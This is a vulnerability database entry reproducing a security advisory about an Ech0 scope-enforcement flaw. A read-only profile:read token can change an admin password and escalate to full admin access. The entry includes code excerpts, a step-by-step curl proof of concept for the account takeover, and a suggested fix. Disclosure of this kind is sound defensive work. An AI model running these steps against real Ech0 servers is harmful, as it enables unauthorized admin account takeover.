Vulnerability Database

353,412

Total vulnerabilities in the database

Ech0 Scope Bypass: profile:read Access Token Can Change Admin Password and Escalate to Unrestricted Session — github.com/lin-snow/ech0

Incorrect Authorization

Summary

The PUT /user endpoint is protected by RequireScopes("profile:read"), which is a read-only scope. However, the endpoint performs write operations including password changes. An attacker who obtains an admin's restricted profile:read access token can change the admin's password, then login to receive an unrestricted session token that bypasses all scope enforcement.

Details

The scope enforcement system defines granular scopes (e.g., echo:read, echo:write, admin:user) but has no profile:write scope. The PUT /user route is protected only by profile:read:

// internal/router/user.go:40-44 appRouterGroup.AuthRouterGroup.PUT( "/user", middleware.RequireScopes(authModel.ScopeProfileRead), h.UserHandler.UpdateUser(), )

The RequireScopes middleware bypasses all scope checks for session tokens, and for access tokens only verifies the token contains the listed scopes:

// internal/middleware/scope.go:14-19 func RequireScopes(scopes ...string) gin.HandlerFunc { return func(ctx *gin.Context) { v := viewer.MustFromContext(ctx.Request.Context()) if v.TokenType() == authModel.TokenTypeSession { ctx.Next() return } // ... checks access token has required scopes (line 53)

The UpdateUser service checks user.IsAdmin but does not verify the token's scope is sufficient for write operations:

// internal/service/user/user.go:271-300 func (userService *UserService) UpdateUser(ctx context.Context, userdto model.UserInfoDto) error { userid := viewer.MustFromContext(ctx).UserID() user, err := userService.userRepository.GetUserByID(ctx, userid) // ... if !user.IsAdmin { return errors.New(commonModel.NO_PERMISSION_DENIED) } // ... if userdto.Password != "" && cryptoUtil.MD5Encrypt(userdto.Password) != user.Password { user.Password = cryptoUtil.MD5Encrypt(userdto.Password) // line 299 }

After the password is changed, the attacker logs in via POST /login which calls issueUserToken → CreateClaims, producing a session token with Type: "session" (jwt.go:33). Session tokens bypass RequireScopes entirely, granting unrestricted API access.

Escalation chain: profile:read access token → password change → login → unrestricted session token (bypasses all scope checks) → full admin access including admin:settings, admin:user, admin:token, file:write, etc.

PoC

# Prerequisites: Admin has created a profile:read access token for a read-only integration # The attacker has obtained this token (e.g., from compromised integration, log leak, etc.) ACCESS_TOKEN="<admin_profile_read_access_token>" SERVER="http://localhost:8080" # Step 1: Verify the token only has profile:read scope (can read profile) curl -s -X GET "$SERVER/api/user" \ -H "Authorization: Bearer $ACCESS_TOKEN" # Expected: 200 OK with user profile data # Step 2: Verify the token CANNOT access admin endpoints (scope enforcement works) curl -s -X GET "$SERVER/api/allusers" \ -H "Authorization: Bearer $ACCESS_TOKEN" # Expected: 403 Forbidden (requires admin:user scope) # Step 3: Change the admin's password using the profile:read token curl -s -X PUT "$SERVER/api/user" \ -H "Authorization: Bearer $ACCESS_TOKEN" \ -H "Content-Type: application/json" \ -d '{"password":"attackerpass123"}' # Expected: 200 OK — password changed despite only having profile:read scope # Step 4: Login with the new password to get an unrestricted session token curl -s -X POST "$SERVER/api/login" \ -H "Content-Type: application/json" \ -d '{"username":"admin","password":"attackerpass123"}' # Expected: 200 OK with session JWT token # Step 5: Use the session token to access admin-only endpoints SESSION_TOKEN="<session_token_from_step_4>" curl -s -X GET "$SERVER/api/allusers" \ -H "Authorization: Bearer $SESSION_TOKEN" # Expected: 200 OK — full admin access, all scope restrictions bypassed

Impact

An attacker who obtains an admin's profile:read access token — intended to be the most restrictive scope available — can:

  1. Change the admin's password without any write-level scope, violating the principle of least privilege
  2. Escalate to a full unrestricted session token by logging in with the new credentials
  3. Gain complete admin access including user management (admin:user), system settings (admin:settings), token management (admin:token), file operations (file:write), and all content operations
  4. Lock the original admin out of password-based authentication (though OAuth/passkey login remains available)

This defeats the entire purpose of the scope system: tokens intended for read-only integrations can be leveraged for full account takeover.

Add a profile:write scope and require it for the PUT /user endpoint:

// internal/model/auth/scope.go — add new scope const ( // ... existing scopes ... ScopeProfileRead = "profile:read" ScopeProfileWrite = "profile:write" // NEW ) var validScopes = map[string]struct{}{ // ... existing entries ... ScopeProfileWrite: {}, // NEW } // internal/router/user.go:40-44 — require profile:write for PUT appRouterGroup.AuthRouterGroup.PUT( "/user", middleware.RequireScopes(authModel.ScopeProfileWrite), // Changed from ScopeProfileRead h.UserHandler.UpdateUser(), )

Similarly, update other write operations currently gated behind profile:read:

  • POST /oauth/:provider/bind → require profile:write
  • POST /passkey/register/begin and /finish → require profile:write
  • DELETE /passkeys/:id → require profile:write
  • PUT /passkeys/:id → require profile:write
  • Published: Apr 10, 2026
  • Updated: Apr 11, 2026
  • GHSA: GHSA-hm2h-wwwh-g49x
  • Severity: Medium
  • Exploit:
  • CISA KEV:

CVSS v3:

  • Severity: Medium
  • Score: 6.5
  • AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:N

CWEs:

Software From Fixed in
Go icon github.com/lin-snow/ech0 - 4.4.3

Frequently Asked Questions

A security vulnerability is a weakness in software, hardware, or configuration that can be exploited to compromise confidentiality, integrity, or availability. Many vulnerabilities are tracked as CVEs (Common Vulnerabilities and Exposures), which provide a standardized identifier so teams can coordinate patching, mitigation, and risk assessment across tools and vendors.

CVSS (Common Vulnerability Scoring System) estimates technical severity, but it doesn't automatically equal business risk. Prioritize using context like internet exposure, affected asset criticality, known exploitation (proof-of-concept or in-the-wild), and whether compensating controls exist. A "Medium" CVSS on an exposed, production system can be more urgent than a "Critical" on an isolated, non-production host.

A vulnerability is the underlying weakness. An exploit is the method or code used to take advantage of it. A zero-day is a vulnerability that is unknown to the vendor or has no publicly available fix when attackers begin using it. In practice, risk increases sharply when exploitation becomes reliable or widespread.

Recurring findings usually come from incomplete Asset Discovery, inconsistent patch management, inherited images, and configuration drift. In modern environments, you also need to watch the software supply chain: dependencies, containers, build pipelines, and third-party services can reintroduce the same weakness even after you patch a single host. Unknown or unmanaged assets (often called Shadow IT) are a common reason the same issues resurface.

Use a simple, repeatable triage model: focus first on externally exposed assets, high-value systems (identity, VPN, email, production), vulnerabilities with known exploits, and issues that enable remote code execution or privilege escalation. Then enforce patch SLAs and track progress using consistent metrics so remediation is steady, not reactive.

SynScan combines attack surface monitoring and continuous security auditing to keep your inventory current, flag high-impact vulnerabilities early, and help you turn raw findings into a practical remediation plan.